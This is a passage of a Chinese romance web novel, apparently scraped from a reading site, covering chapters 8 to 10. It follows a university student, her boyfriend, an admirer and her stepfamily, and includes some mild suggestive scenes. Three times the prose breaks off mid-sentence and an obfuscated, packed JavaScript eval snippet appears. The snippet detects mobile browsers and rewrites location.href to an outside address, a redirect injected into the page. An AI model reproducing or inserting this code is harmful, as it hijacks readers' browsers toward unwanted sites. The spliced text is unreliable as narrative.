舍友张礼鸢调笑的声音在耳边响起,薛谭连忙关掉手机摇摇头:“不是的,是我姐姐。”刚开学那两天宿舍里就有盘问谁有男朋友,舍友们都知道薛谭有一个异地男友。 “看你对着手机笑得一副春心萌动样子,我还以为对面是你男朋友呢。”张礼鸢性格开朗,是个自来熟的女孩,和没有住在宿舍的薛谭关系也不错。 薛谭害羞地笑了笑,没有说话。 说起春心萌动,薛谭在和孟文霖相处的过程中好像从来没有产生过“害羞”“心动”这类感情。 大概因为两人从小就认识,见过对方所有模样,熟知对方所有不为人知的故事,因此并不能让薛谭感到面对盛晚时那种惊艳的感觉。 但是无可争辩,薛谭是喜欢孟文霖的。 这次会议面向整个专业,是与学院合作的校外培训机构来宣传卖课的。 南采听得很认真,她暂时不打算报培训机构的班,但是讲台上的学长和老师会说一些本专业学生要注意的事,这对她很有吸引力。 旁边的薛谭对此兴致缺缺,低头玩手机上的单机小游戏。 专业是薛韵决定的,也说过等薛谭毕业后直接来家里的公司上班,因此她并没有什么对未来的焦虑以及大部分人不得不承受的求职压力。 这是她的幸运之处。 光源消失,视野变暗,又再次明亮起来。 薛谭和南采同时转头看过去,原来是盛晚坐在了她们旁边。 盛晚微微歪头朝身边的薛谭笑了一下,笑容清俊文雅,依旧是让人过去几秒后才注意到他身上灰扑扑的军训服。 少男坐下后就从包里拿出纸笔,然后开始认真作画。 薛谭有些好奇,稍微靠近了一点,发现上面画的是一个女孩的背影。 她有心了解盛晚,小声问:“你怎么不听?” 少男手上动作不停,嘴角荡漾着温和的笑,侧脸在光影切割下宛如博物馆里的艺术品,“嗯……不感兴趣呢。” 薛谭落在盛晚脸上的目光一点点沉下来,突然伸手攥住了他握着画笔的那只手。 一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461479|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,盛晚眉间眼里也都染上了笑意,他偏头,微笑着看向薛谭,轻声问:“怎么了?” 薛谭忽然有点看不懂自己的内心了,她受不了盛晚平静从容又满不在乎的样子,是为什么呢?大概是因为羡慕吧。 两天没有去找他,莫名其妙的疏远使她心烦意乱,却没有给他造成任何影响。好像只有薛谭在意这段关系一样——她这样想全然忘了是自己先不搭理盛晚的。 于是薛谭直接问出来:“你是不是生气了?” 盛晚明显怔愣了一下,他脸上的惊讶如此真实,一时间让薛谭无法分清他是否又在装模作样。 “不是哦,我从来没有生过谭谭的气。”他一改平日里把握良好的分寸感,轻轻反握住薛谭那只盖上去的手。 他的手掌意外有些粗糙,像是沾了水的沙滩,粗粝又黏腻,矛盾又和谐,“因为谭谭这两天很忙的样子,我不敢打扰谭谭。” 他稍稍皱眉,漂亮的浑圆黑眼珠染上一层水意,纤长浓密的睫毛不是蝴蝶在扇动翅膀,是秋风吹过来,蝶翼在颤动—— 鬓边发丝飞扬起来阻隔在他们之间,薛谭下意识闭上眼睛,冷意裹袭全身,恍惚意识到原来秋天已经到来。 微凉的手指落在额头上,是盛晚抬起另一只手为薛谭拨去缠在脸上的发丝。 于是与薛谭睁开眼睛一起的,除了盛晚那份世间仅有的美丽外,还有她剧烈跳动的心脏。 “我不想让谭谭讨厌我。” 我见犹怜。 薛谭想,我确实讨厌你,讨厌你光芒四射万众瞩目的样子——可我又无法控制自己被你吸引,为你心折,我也喜欢你。 或许这个时候薛谭应该说一些好听的话趁机拉进两人的关系,然而“不讨厌你”短短四个字却像是卡在喉咙里的一根刺,吐不出来也咽不下去,只能干干闭上嘴巴看着盛晚,一言不发。 好在会议终于结束,南采也注意到了这边的动静,她的目光在两人相叠的手掌转了一圈,余光瞥见张礼鸢拿出手机要拍照,赶忙站起身挡住那边的视线,拍了拍薛谭示意她该走了。 薛谭犹如意识回笼一般立即抽回手,掀起眼皮对上盛晚那双清纯无辜的眼眸,又连忙错开。她被南采牵着站起来茫然眨了眨眼,好似灵魂出窍后刚刚从另外的世界回来。 “走吧,你姐不是还在等你?”南采晃晃薛谭的胳膊。 “哦对!晨露姐!”薛谭直到此刻才彻底反应过来,她拎起凳子上的书包就要走,却被盛晚轻轻拉住:“等一下,谭谭。” 薛谭脚步蓦地顿住,像是被人戳破了掩藏在心底的秘密一般猛地甩开盛晚的手,不耐烦道:“干什么!” 盛晚丝毫不生气,反而笑脸盈盈地把桌子上的画递给薛谭。 薛谭最恨他这幅处变不惊的样子! 她烦躁地从盛晚手里夺过画纸抖开去看,然而脸上所有的情绪却在见到纸上内容的一刹那消失殆尽—— 一张纸上画了两个画面,上面是一个女孩的背影,她踩着走廊的影子往前走;下面也是一个女孩的背影,她双手撑在走廊尽头的窗沿上,仰头去看夜晚的天空。 8. 第 8 章 盛晚对这两幅诡异画面的解释是“因为半夜听到了奇怪的声音就查了下监控,没想到是谭谭在走廊里踩影子玩,感觉很可爱就画下来了”。什么啊,莫名其妙把她画下来这种事情,一看就很奇怪啊! “你的画技精进了很多啊。” 万晨露突兀的称赞拉回神游天外的薛谭,她下意识把捏在手里的画纸翻过去,僵硬解释:“不是我画的。” 画画不过是薛谭的业余爱好,甚至连爱好都算不上,只是平时用来打发时间的。不过盛晚倒像是系统学习过美术的样子,如果没记错这张画他用了还没有四十五分钟,两个画面里少女的背影惟妙惟肖,分明是十分简单的走廊背景,可是在超高水平光影的渲染下立体感顿时拔高了一截。 比她强太多了。 万晨露从画上收回的目光掠过后视镜里女孩阴沉沉的苍白小脸,意识到这个敏感到有些神经质的妹妹又想多了。若是亲弟弟万晨霜胡思乱想没个正经模样,她早就一巴掌甩过去了,偏生这是个并不熟悉的继妹,她不好说什么重话,却也想不出什么安慰人的言语来。 出发接薛谭放学前她接到了薛韵的电话,隔着手机屏幕都能够听出来这个一直跟她作对的女人难得软下来的语气,似乎每一次薛韵在她跟前展露弱势的姿态都是为了这个女儿。想起来薛韵恳切的请求,万晨露忽然有些脑壳疼。 跟薛谭交流实在是一件费劲的事。 “对了——”万晨露转了个弯,平静的目光直视前方,尽量忽略掉身边女孩热切的视线,“今天晚上我们在外面吃饭。” 不需要扭过头去看,她都能感受到薛谭瞬间亮起来的眼眸以及浑身散发出来的幸福因子,她咳了一声掩饰莫名的心虚,干巴巴补充:“你妈妈去出差了,只有我们几个去吃饭,等过几天薛阿姨回国我们再补回来。” 薛谭霎时间像一只被抛弃的金毛小狗狗蔫了下去,失落毫不掩饰地浮现在她的脸上。 薛谭和万家人关系不好,事实上,万晨露觉得薛谭和除了薛韵以及孟文霖以外的人,基本上没什么往来。 其实这也有万家人的原因,万晨露工作忙,常常不在家中;终极恋爱脑万父的世界里几乎只有薛韵,天天像只狗一样围着薛韵转;至于她那个不争气的弟弟万晨霜,从许多年前第一次见到薛谭起就不知道抽了哪根筋,一直很抗拒薛谭,常常对女孩恶言相向。 万晨露无声叹了口气,没有继续说什么,反正薛谭自己会调理好。 等到了餐厅,万晨露看着因为穿了一身又脏又破的军训服而和周围环境格格不入的薛谭,才后知后觉意识到她应该先带着累了一个月的女孩回到家里换身衣服。 她犹豫片刻,还是伸手拽住薛谭,“要不要在车里换身衣服,先穿我的。” 薛谭受宠若惊,连忙拒绝:“没关系没关系的,我穿这身就好,反正只是吃个饭嘛。”她小心挣脱万晨露宽大的掌心,“谢谢晨露姐,不过真的不用了,我们快进去吧,叔叔还在等我们。” 于是万晨露也没再坚持,领着薛谭进去了。 这家餐厅装潢典雅又有格调,薛谭光是踩过脚下的花纹繁复的地毯,都好似听到了金币碰撞的声音。 远远就能看到相对而坐的万父与万晨霜父子,这并不是说两个人在多么显眼的位置,全是因为那个劲瘦挺拔的黑发少年背影气质实在太过出众,让人想忽略都难。 从万父愠怒的脸色能够推测出来他们在吵架,不过浮现在脸上的所有难看都在见到薛谭的那一刻一扫而空。他还算得上风神俊朗的长脸霎时间绽放灿烂的笑容,起身快步走过来从薛谭手里接过书包,笑容和蔼可亲,其中又掺杂了几分奇怪的殷勤:“谭谭来啦,军训一个月可真是辛苦了。” 薛谭很不擅长和万父相处,尽管这个男人因为母亲的原因对自己态度很好,可是因为亲生父亲的原因,她实在有些抗拒他们这个年纪的男人。薛谭在万父面前向来是能不说话就不说话,她有些勉强地笑了笑,在男人的迎接下走过去坐在万晨霜身边。 支着下巴欣赏窗外繁华夜景的黑发男孩脊背挺得笔直,从薛谭的角度瞧过去,只能看见他极黑的、微微卷曲的柔软发丝,以及与其形成强烈对比的雪白耳尖。 忽而,男孩转过头来,精致的面容在暖黄灯光下一览无遗。浓密的卷翘睫毛长的有些离奇,可是配上他那双宛若夜空中最美丽星辰的大眼睛,又是如此和谐融洽,肤若凝脂,唇红齿白,简直像是油画里走出来的古典美少男。 薛谭若无其事地收回落在他脸上的目光,低头不语,默默等着开饭。 军训的一个月期间,除了盛晚做的早餐外,薛谭就没有吃过什么好吃的饭了,因此今晚走出校园的第一顿大餐她吃的十分尽兴,桌子上将近一般的菜都进了她的肚子。 万父见到薛谭如此认真干饭的模样可把他给心疼坏了,赶紧叫来服务员又上了两道她爱吃的菜。 回去的路上,由于万晨露喝酒了,就坐在副驾驶没有开车,薛谭和万晨霜安静坐在后面。 “桃桃大学生活怎么样啊?” 这是每一个刚刚上大学的人都无法逃脱的问题,薛谭简略回答:“挺好的。” 万父不像薛韵一样对薛谭“不闻不问”,反而有时候比薛韵这个亲生母亲表现得更像一名家长,“学业上有没有什么困难呀?要是有不懂的不会的,就来问你晨露姐,她上学时成绩可好了。”他笑着拍了拍万晨露的肩,被女儿不耐烦挥掉后也不恼,反而笑眯眯说:“自己一个人在外面千万得照顾好自己,切记吃好穿好,别不舍得花,没钱了就给叔叔说啊。” 薛谭客气地笑笑。 “我听你妈妈说,姓孟那小子不在z市上学,你俩还谈着呢?”万父说这话倒没什么意思,只是叮嘱:“要有什么不好意思和家里人说的事情也能跟那小子说啊,我见过他,人挺不赖的。”说罢,他话锋一转:“但再怎么说也是外人,肯定比不上家里人真心实意待桃桃。” 从见面后就一直沉默的万晨霜突然不耐烦地打断父亲讲话:“她又不是小孩用得着你说,唠唠叨叨的。” 万晨露长臂突然伸到后面来重重拍了一下万晨霜的头,“怎么跟长辈说话呢!” 男孩的头磕在窗玻璃上发出“咚”的一声把正在发呆的薛谭吓一跳,姐弟俩之间的大战一触即发,薛谭默默抱着手机往边缘挤了挤,尽量远离他们。 孟文霖发消息问薛谭什么时候有时间出去玩,她算了算薛韵出差的日子,扭头问万晨霜他五号有没有时间。 此话一出,万父悠闲的哼歌声和姐弟俩的打闹声刹那间消失不见,匀速向前行驶的车子突然陷入诡异的静谧之中。 这也难怪,毕竟要是说这个家里谁与谁最不对付,那肯定是万晨霜和薛谭。两人一年下来交流的次数都屈指可数。 万晨霜双手正以一种奇怪的姿势挡住万晨露要打过来的巴掌,他好看的眼睛眨了眨,像是没有反应过来。忽然,万晨霜卸掉所有力气松开万晨露,转过头看向窗外,一声不吭。 然后万晨露趁机又使劲打在他头上。 男孩直接额头狠狠撞在玻璃上发出巨大声响,他满脸怒火地捂住头,生气大吼:“万晨露你是不是有病!” 好吧,古典美少男破大防,全然不见刚才吃饭时优雅矜贵的模样。 万晨露为了打弟弟而略微站起来的身子缩回去,嫌弃地撇了一眼万晨霜,“你姐姐和你说话没听到是吗?” 男孩受不了,崩溃大喊:“她才不是我姐姐!”见没有人搭理自己,又喊道:“你也不是我姐姐!” 万晨露冷嗤:“神经病。” 薛谭面对万家姐弟时态度都很好,她虽然平时面对万晨霜时也十分冷淡,但相较于男孩直接表露出来的明显恶意,她更像是出于“不在意”“没关系”的自然的忽视——包括他的恶劣态度。薛谭翻出来和孟文霖的聊天记录给他看:“我和孟文林五号打算去动物园玩,要不要一起?” 万晨霜像是无法理解一般瞪大眼睛望着薛谭,难以置信地反问:“你和你男朋友出去玩叫我干嘛?”他推开薛谭伸过来的手机,满脸抗拒:“我不去。” “好的。”薛谭脾气很好地没有任何纠缠,默默收回手机告诉孟文林万晨霜不去,好似只是随口一问。 不知道小男孩想到了什么,突然之间就生气了,哼了一声后赌气一般把整个身体侧过去,一副不愿意和薛谭有丝毫接触的样子。 万晨露喝了酒,思维有些跳脱,虽然没有醉,但因为是在稍微放松的环境里,话也多了起来:“你不是去过好几次动物园了吗?”印象里甚至她都带过小时候薛谭进入动物园玩过。 “是的。”薛谭点点头,“但是常看常新。”她在成长,动物也在成长,每一次也动物们见面都是完全不一样的感受。 万晨霜小声嘟囔:“神经兮兮。” 家里人都知道薛谭喜欢动物,尤其在闲来无事时,能够盯着一只动物看上好久。 还记得从薛韵那里得知薛谭这个爱好后,万父本来打算买一只小猫,但是被薛韵阻止了,原因是薛谭还没有养育另外一个生命的能力。 正好没几天过年,万父带着一家五口人回向下老母亲家过年,那天下午薛谭盯着院子里的小鸡吃饭足足看了一下午。当时把不懂事的万晨霜给笑坏了,自此薛谭在他眼里就多了个神经兮兮的标签。 薛谭对于万晨霜莫名其妙的敌意早已习惯。薛韵不在,她沉默地望着窗外,并不参与万家人的说说笑笑。 黑色全部笼罩这座哪怕生活了十几年也依旧陌生的城市,彩色灯火通明的大楼被看不见的秋风推着向后跑,灯红酒绿的外面与阖家团圆的里面都与薛谭无关,她突然感觉有些寂寥。 回到家后,薛谭心情变得很低落,或许因为她本就是个多愁善感的女孩,夜晚更容易激发感性的一面。 万晨露望着刚刚从她身边经过的薛谭的背影,蓦然想到了晚风。 是山林间吹过小溪流带着湿意的晚风。 三个孩子都住在楼上,薛谭的房间在走廊的尽头,是最大的一间,有宽广的阳台和连同的书房与独立卫浴。 很没意思。 薛谭站在淋浴头下洗头时冒出来这个想法。 不是突如其来的,这是经常像一层薄雾笼罩在薛谭心头的感受。因为是薄雾,其实很快就能够散去,自己又是在这方面很懒的人,不愿意刻意为了驱散那点令人开心不起来的薄雾去努力,于是只能默默忍受这名为“不开心”的雾气,等到某一个契机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461480|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——类似红日初升,驱散它。 和孟文霖交往就是契机之一。 不过显然,这个契机已经过时了,因为和孟文霖交往一段时间后,不过三四个月的时间,她又开始厌烦了。 厌烦这样平淡、一眼就望到了头的日子。 解决这种坏心情最好的办法就是—— “嘟嘟——” 电话铃声响了不过两声,那边就迅速接通:“喂,桃桃!桃桃现在到家了吗?怎么突然打电话了呀?” 薛谭躺倒在床上,伸直胳膊把手机抬起来,她静静看着屏幕里帅气逼人的男朋友,“孟文霖,我想见你了。” 浓眉桃花眼,鼻梁高挺,面部线条锋利,帅气逼人。浑身强势的气质却在薛谭说起“想见你”时瞬间柔和下来,眉眼间都荡漾着温柔的暖意。他凑近摄像头吧唧亲了一口,大大咧咧表达自己的爱意:“我也想见桃桃,特别特别想见你!” 暧昧的气息萦绕在隔着冰冷屏幕的两双眼睛间,他们视线纠缠,亲密爱侣的默契在此刻发挥了重要作用。 手机被孟文霖支起来找个好角度放在床上,以便自己全部身体都能够入境。 他从柜子里拿出刚刚到货的衣服,动作缓慢地拆开,在看到仅有的几根皮质布料后,细腻的粉色泛上双颊。 他缓步移动到镜头面前,姿态卑微地跪坐在床上,骨节分明的修长双手带着害羞的粉色,轻轻捏住短袖下摆,一点点往上褪去。 线条流畅的人鱼线足以让人浮想联翩,往上看去,紧实性感的腹肌随着少男的动作鼓动着,硕大的胸肌白花花一片,又在主人的轻触下微微泛红。 他就这么当着镜头换上了新买的衣服,黑与白的强烈反差感成功让乏味的薛谭提起一点兴趣。 两人一通电话打到深夜,薛谭第二天早上睡眼迷蒙地走下楼,目光下意识搜寻一圈,没有见到薛韵。她打着哈欠坐在餐桌上,旁边是同样困倦的万晨露。 香味扑鼻的咖啡被端上桌,浓郁醇厚的味道让薛谭和万晨露幸福地眯起了眼。 而见到两个女儿如此喜欢自己做的咖啡,深感自己实现了人生价值的万父脸上也浮现了满足的笑容。 在房间里打扮了一早上的万晨霜走下楼见到的就是这一幕。他嫌弃地翻了个白眼,抬手摸摸自己弄了好久的发型,嘴角翘起隐秘的弧度。 薛谭和孟文林正是小别胜新欢的时候,吃过早饭薛谭和万晨露与万父打了个招呼就出门找孟文霖玩了。 谁料她刚打开大门,就见到了等在外面的孟文霖。 少男是很平常的白色短袖配牛仔裤,极高的身量为他的凌冽的气质增添了几分强势。 宽肩窄腰翘屁股。 薛谭几步蹦跶过去就把手伸进了男友的衣服里,果不其然摸到块块分明的腹肌。 孟文霖笑得向后仰起,又弯腰紧紧把薛谭抱在怀里,一手搂着女孩的腰将她微微带起,另一只手顺着自己的衣服下摆握住她的手,带着它向上摸去。 薛谭顺势踮起脚尖,抬头一口亲上男友柔软滑嫩的双唇。 孟文霖眼睛都笑得弯起来,手上用力将薛谭搂的更紧,同时低头加重这个久别重逢的吻。 “好了。”亲了一会后,薛谭喘息着和男友分开,她向身后看了一眼,确定没有人后放下心来,牵着孟文霖的手往旁边去,“我们走吧,别被人看见了。” 孟文霖好看的桃花眼里盛满四月的春风,温柔多情。尤其在他一直盯着薛谭瞧时,里面的喜欢都要化出来。 他的五官是很有冲击力的浓颜,面无表情时常常叫人觉得凶狠而充满了戾气,然而面对薛谭时,就神奇的像是一头被樱花掩埋的孤狼,只让人觉得清纯无害。 薛谭忽然攥住孟文霖的衣领将他那张帅脸拉下来,垫脚对他泛着莹润光泽的粉色唇瓣连着亲了三口停下来,抬起眼眸对视一眼,又亲了一口 而孟文霖也幼稚地将薛谭整个人抱在怀里,低头分别轻柔地亲在她的眼皮上,然后缓缓向下亲在她的鼻尖,最后停留在唇上。 唇瓣相触即离,不过半秒又黏在一起。 他喘息着分开,喊了两声饱含湿气的桃桃,再一次深深吻上去。 唇齿交缠,年轻的少女少男在美好的清晨肆意挥洒着自己的爱意。 薛谭本就不是个喜欢在外面逛街玩耍的人,此次出来也只是为了见孟文霖。 他们一路牵着手说说笑笑来到地铁站,大部分都是薛谭说而孟文霖微笑地听着。薛谭开心时他就配合地惊呼夸赞,薛谭不开心时他就认真地安慰她后,继续毫不吝啬地夸赞薛谭。 在孟文霖口中,薛谭就是世界上最优秀完美的女孩,这一个月以来的负面情绪和自我怀疑都在男友的不断肯定下烟消云散。 薛谭有时候觉得,孟文霖在自己身边的身份与其说是男友,倒不如说是她的……充电宝? 所有根植于自身的否定都被孟文霖拔走,然后又被带着厚重滤镜的男友重新种上充满希望的种子。 或许这就是薛谭喜欢孟文霖的原因——一个能让她暂时逃离阴影,望见虚假阳光的人,谁不会喜欢呢? 她想,孟文霖这个男友真是找对了,只要孟文霖能够乖乖听话,她说不定能够和他谈很久。 9. 第 9 章 薛谭从没质疑过自己对孟文霖的喜欢。 薛韵不在家,薛谭自然不想独自和万家的人待在一起。她带着孟文霖一起回到了自己在z大附近的公寓。 尽管高考结束后的假期里孟文霖就提前来过这里收拾布置过一遍,但是今天和薛谭一起站在通往公寓楼层的电梯里,少男的激动显而易见。他轻轻攥着薛谭的手,小幅度晃着,嘴角洋溢着幸福安逸的笑容。 薛谭正低头和班长卓钦发消息,女孩假期没有回老家,而是选择留在z市的一家奶茶店打工,两个人正在交谈专业团建的事情。专业三个班级,总共不过八十多个人,卓钦和另外两个班长商量了一下,在一个饭店吃饭,但是各班单独玩。 虽然心里不理解并且觉得完全没有必要,但是努力想要在大学期间交朋友的薛谭还是尽职尽责发挥着本地人的作用和班长一起商量规划。不过大部分都是卓钦提出意见,她附和就是了。 “你们班里只有你是z市的吗?”电梯发出叮的一声,孟文霖低头撇了一眼薛谭的手机,拉着女孩走出去。 “不是啊。”薛谭沉下眉眼,语气里多了一丝烦躁:“我也不知道她干嘛老是找我说话。”她推门进去,嘟囔道:“这种事情有什么好商量的,网上搜搜不就行了。” 孟文霖沉思片刻,倏尔舒展眉头,语气轻松:“她不是在奶茶店工作吗,正好咱们过几天出去玩去那边买奶茶时见见她,我也能为桃桃把把关。” 薛谭嘭的一声把门合上,大力之下上面的挂坠哗啦作响,眼含警告瞪了一眼孟文霖:“少多管闲事。”她有点生气,觉得孟文霖这样很不尊重卓钦。 少男立即顺从道歉:“对不起桃桃,是我说错话了。” 孟文霖有时候是个很矛盾的人,他一面希望薛谭能够多多与人交流,而非整日沉浸在自己的世界里;另一面,每当薛谭试着朝外界伸出手时,他又像是雏鸟刚刚学会飞行时的父母一样,惴惴不安,试图为薛谭把控好一切,不让她受一点伤害。 可是这样是不对。孟文霖想,如果真的是为了桃桃好,那就应该放手让她自己去探索外面的世界,自己只需要留在她身后,守在他们的家等她回头就好了。 卓钦和薛谭以及另外两个班长两头商量,最后决定在学校附近的一家性价比较高的饭馆团建,末了又真诚感谢薛谭为她出谋划策,还说有机会请薛谭吃饭。 薛谭拿起睡衣去浴室洗澡,脑海中忍不住浮现和卓钦寥寥几次接触,不知道为什么,总觉得卓钦对她有一种很怪异的热情。虽然谈不上讨厌,但这种难以预料和掌握的感觉还是让她有些局促不安。 慢吞吞洗完澡出来,没有带眼镜的薛谭什么都看不清楚,下意识搜寻孟文霖的身影,只见到身姿挺拔的少男正立在沙发边,手上拿着一个黑漆漆的东西。大概是玩偶吧。 “孟文霖。”薛谭抽出手边的纸巾擦脸,“眼镜给我拿过来。”她从高中开始脱发就很严重了,尤其是吹头的时候,头发总是一把一把的掉。再加上高中作息时间很紧张,没有吹头发的条件,渐渐的薛谭洗完头就不吹头发了,而是等它慢慢变干。 不知道孟文霖在想些什么那么入迷,竟然还被薛谭的呼唤吓了一跳。他赶忙把玩偶放在沙发上给薛谭拿过来眼镜,默默女孩湿淋淋的发丝,“我给你擦头发吧。” “不用。”薛谭戴上眼镜后不自觉皱起的眉头也舒展开来,她摆摆手:“赶紧去做饭吧,饿死我了。” “好,好,我这就去做,桃桃先吃点水果,我切好放在桌子上了。” 薛谭昨天晚上没睡好,今早上又起得早,此时有些困倦地打了个哈欠。她打开电视,抱着果盘屈腿坐在沙发上,顺手掏过来手边的玩偶,定睛一看,是盛晚送过来的那只黑猫玩偶。她吃了一口油桃,眨了眨眼,反应过来孟文霖刚才拿在手上的玩偶也是这只。 果不其然,晚上做完后,帅气威猛的少男从后面贴紧薛谭的身体,潮湿滚烫的喘息一轻一重地落在她的颈边,委屈的询问由性感的音色包裹着滚入耳中,“那个玩偶是谁送给桃桃的呀?” 空调开到十七摄氏度,薛谭被孟文霖紧实健壮的肌肉包围着,像是处在暖炉之中。她翻了身与他面对面,被一层水汽覆盖的莹润眼眸直勾勾盯着她瞧,往日凌厉的眼尾神奇地下垂,像一只被独留在雨夜的大狗狗。 薛谭没有立即回话,双手揉了一遍孟文霖鼓起的腹肌,然后环住他精瘦的腰肢,低头侧着脸埋进男友硕大无比的胸肌后,满足的蹭了蹭,嘴上却说:“你胸是不是变小了。” 孟文霖大惊失色,慌忙低头想要目测一下,女孩却埋在他胸上咯咯笑起来。他了然地松了一口气,又忍不住温声埋怨:“桃桃又吓我。” “本来就是哈哈。”薛谭笑着从他怀里起身,抬起头,与故作不满的男友贴了一下嘴唇,很快分开,“玩偶是同学送的。” 她没再说别的,孟文霖也就没有多问。 轻松快乐的桃桃于他而言太过珍贵,高考结束后一场史无前例的激烈争吵几乎将两人十几年的情谊打碎,每日被桃桃冷脸相待的那段时光是孟文霖不敢回想的噩梦。 孟文霖回来后,终于有人陪薛谭玩买了一堆的双人游戏了。两人一觉睡到大中午,吃过午饭后就一起窝在沙发里打游戏,期间因为失败太多次怒摔游戏机的薛谭把蠢货孟文霖也给踹下沙发了。她把怀里的黑猫玩偶砸过去,柔软的玩偶撞上男孩的头,又弹到地上。 “笨蛋!笨蛋!你个蠢货!都怪你,到底会不会玩啊!”薛谭生气,她让孟文霖滚回家拿个新的游戏机,自己烦躁的拿起漫画书去看,却怎么也看不下去,最后还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489731|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气冲冲打开了动物世界。 大概是否极泰来,等孟文霖拿来新的游戏机后,两人默契配合,配上主要输出薛谭的神级操作,一路顺畅无阻成功推完所有关卡。 就这样玩玩闹闹过了作息十分混乱的几天后,仰躺在孟文霖腿上看着漫画最新一话笑得合不拢嘴的薛谭被突兀的门铃声吸引了注意。她从热血又搞笑的漫画世界里抽回思绪,懵懵地放下漫画书,看向孟文霖。 孟文霖低头和歪着头疑问的女友对上视线,嘴角控制不住地抽动了两下,努力忍住被萌的想要尖叫打滚的冲动,放下书亲了一口女孩的额头,“我去开门。” 薛谭慢吞吞从孟文霖腿上起来,突然意识到什么似的猛地坐直身子按下男友的肩膀,惊疑不定:“说不定是我妈!”她倒吸一口凉气,越想越有可能,除了薛韵都没人知道她住在这里。 孟文霖也满脸紧张,赶紧扶着薛谭坐好,又给自己整理了一下仪容。 正在此时,门铃又不耐烦地响起,催促着屋内的人赶快开门。 原本同样紧张的薛谭登时放下心来,暗自松了口气,这么急切应该不是薛韵。她递给孟文霖一个安心的眼神,走过去透过猫眼看了一眼,一下子无语。 她面无表情打开门,目光平平看着门外双手环胸同样面无表情的万晨霜,“你怎么来了?” 万晨霜的视线莫名落在薛谭身上好一会,直到她又喊了他一遍,男孩才忽然移开目光,看向别处,“薛阿姨回来了,万晨露让我来叫你。” 薛谭一愣,心底首先泛上来措不及防的欣喜,下一秒又忽然难受起来。她闷声闷气应了一句,垂下眼皮转身都关上门了,才又突然打开门看向门外脸色难看的万晨霜,“要不要进来坐坐?” 孟文霖正在收拾桌子上散落的杂物,抬眼便瞧见跟在薛谭身后容貌精致,打扮十分用心的男孩,“晨霜来啦。”他点开手边的手机看一眼时间,下午六点多,又注意到上面有两条万晨露的消息。孟文霖把手机递给薛谭:“晨露姐给你发消息了。” 薛谭依旧沉浸在薛韵回来了这件事上,呆呆接过手机,万晨露发过来两条消息通知她薛韵出差回来了。 “给你发消息也不回,薛阿姨说你在看漫画,就让我来叫你。”万晨霜似乎很嫌弃薛谭满屋子的娃娃,僵硬站在那里没有动。 孟文霖给万晨霜找过来一个板凳让他先坐下来,男孩却不分给他一个眼神,只是催促薛谭:“咱们回去吧,一家人等着你吃饭呢。” 薛谭突如其来感到烦躁,不禁大声说:“催什么催!” 没有血缘的一对姐弟,平时话都说不上两句,关系疏远得很,薛谭语气那么冲的一句话直接把万晨霜砸懵了。 他不可置信地看着薛谭,粉嫩的小嘴张了半天说不出一句话,气得夺门而出。 10. 第 10 章 可惜最后薛谭还是晚来一步。 她换上衣服就拉着万晨霜打车回万家,然而刚刚进门就被吸溜面条的万晨露告知薛韵前脚刚刚被电话叫走。 某种意义上来说薛谭也算是万晨露看着长大的孩子?她放下筷子擦擦嘴走过去,安慰地拍了拍女孩的肩,“最近公司确实有点事会比较忙,反正薛阿姨已经回国了,晚一点可能就会回来。今天晚上先住在这里吧,说不定明天一早醒来就能见到薛阿姨。” 薛谭静默良久,直到一直被攥住手腕的万晨霜不适地往回缩,她才好像是突然意识回笼一般松开,勉强朝万晨露笑了笑:“算了,我还是回去吧,明天一早就要去动物园呢。” “不是五号去吗?”万父在此时端着果汁走过来,他面色愁苦,没什么精神,只是重复万晨露的话:“阿韵兴许晚一点就回来了。” 薛谭低下头看自己的脚尖,小声说:“还是四号去吧。” 万晨露静静望着像一株被雨打湿的小草萎靡不振的薛谭,只庆幸薛韵不是自己的亲生母亲,薛谭也不是自己的亲妹妹。 她和万晨霜都是万父领养的孩子,没有母亲,所以十分不能理解薛韵薛谭这对别扭的母女。又想见对方又躲着不肯见彼此,不过在她看来薛谭是有点生气的,气薛韵不肯待在原地等自己。 万晨露回眸看了一眼面条,有些担心它会不会坨掉,同时心底也在犹豫要不要插手进这对母女之间令人费解的矛盾之中。 薛谭掀起眼皮快速瞧了一眼万晨露,然后对万父说:“那我先走了,孟文霖还等着我回去呢。” 万父似乎也因为薛韵的事情心神不宁,冲薛谭笑了笑没有说话。 万晨露默默在心底叹了一口气,拿起桌子上的钥匙两步并一步跟上薛谭,“我送你。”知道薛谭肯定会拒绝,她抢在女孩之前说:“正好我得出去买点东西。” 两人刚刚坐上车,后门突然被打开,万晨露看一眼后视镜,而后扭头厌烦地朝不打一声招呼坐在那里的男孩大喊:“你来干什么!回去!” 万晨露双手环胸,眉眼沉沉盯着前方,“我也要买东西,” 